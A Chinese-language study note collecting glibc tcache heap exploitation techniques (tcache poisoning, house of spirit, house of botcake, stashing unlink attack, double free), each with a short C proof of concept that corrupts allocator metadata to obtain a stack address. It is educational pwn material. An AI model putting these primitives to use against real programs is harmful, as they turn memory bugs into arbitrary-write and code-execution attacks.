tcache的几种利用都挺简单的,就打个包放一起了(decrypt safing linking见safe linking篇)
tcache poisoning
2.31以前
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <assert.h>
int main() { setbuf(stdin, NULL); setbuf(stdout, NULL);
size_t stack_var; intptr_t *a = malloc(128); intptr_t *b = malloc(128);
free(a); free(b);
b[0] = (intptr_t)&stack_var;
intptr_t *c = malloc(128);
assert((long)&stack_var == (long)c); return 0; }
|
更改tcache中chunk的fd指针,比fastbin更方便因为没有size的检查
2.32以后
新增chunk地址对齐检查和safe linking机制
注意fd指向fake chunk的地址要对齐0x10并加密
tcache house of spirit
直接free fake chunk放进tcache
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| #include <stdio.h> #include <stdlib.h> #include <assert.h>
int main() { setbuf(stdout, NULL);
malloc(1);
unsigned long long *a; unsigned long long fake_chunks[10];
fake_chunks[1] = 0x40;
a = &fake_chunks[2];
free(a);
void *b = malloc(0x30);
assert((long)b == (long)&fake_chunks[2]); }
|
house of botcake
原理有点类似于fastbin dup consolidate,将chunk同时放进unsorted bin和tcache形成uaf的效果
2.31以前
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <assert.h>
int main() { setbuf(stdin, NULL); setbuf(stdout, NULL);
intptr_t stack_var[4];
intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ x[i] = malloc(0x100); }
intptr_t *prev = malloc(0x100); intptr_t *a = malloc(0x100);
malloc(0x10); for(int i=0; i<7; i++){ free(x[i]); }
free(a); free(prev);
malloc(0x100);
free(a);
intptr_t *b = malloc(0x120);
b[0x120/8-2] = (long)stack_var;
malloc(0x100); intptr_t *c = malloc(0x100); assert(c==stack_var); return 0; }
|
2.32以后
注意safe-linking机制
tcache stashing unlink attack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| #include <stdio.h> #include <stdlib.h> #include <assert.h>
int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target;
setbuf(stdout, NULL); stack_var[3] = (unsigned long)(&stack_var[2]);
for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsigned long*)malloc(0x90); }
for(int i = 3;i < 9;i++){ free(chunk_lis[i]); }
free(chunk_lis[1]);
free(chunk_lis[0]); free(chunk_lis[2]);
malloc(0xa0); malloc(0x90);
malloc(0x90);
chunk_lis[2][1] = (unsigned long)stack_var;
calloc(1,0x90);
target = malloc(0x90);
assert(target == &stack_var[2]); return 0; }
|
tcache dup
2.26-2.28版本tcache没有double free的检查,可以随便double free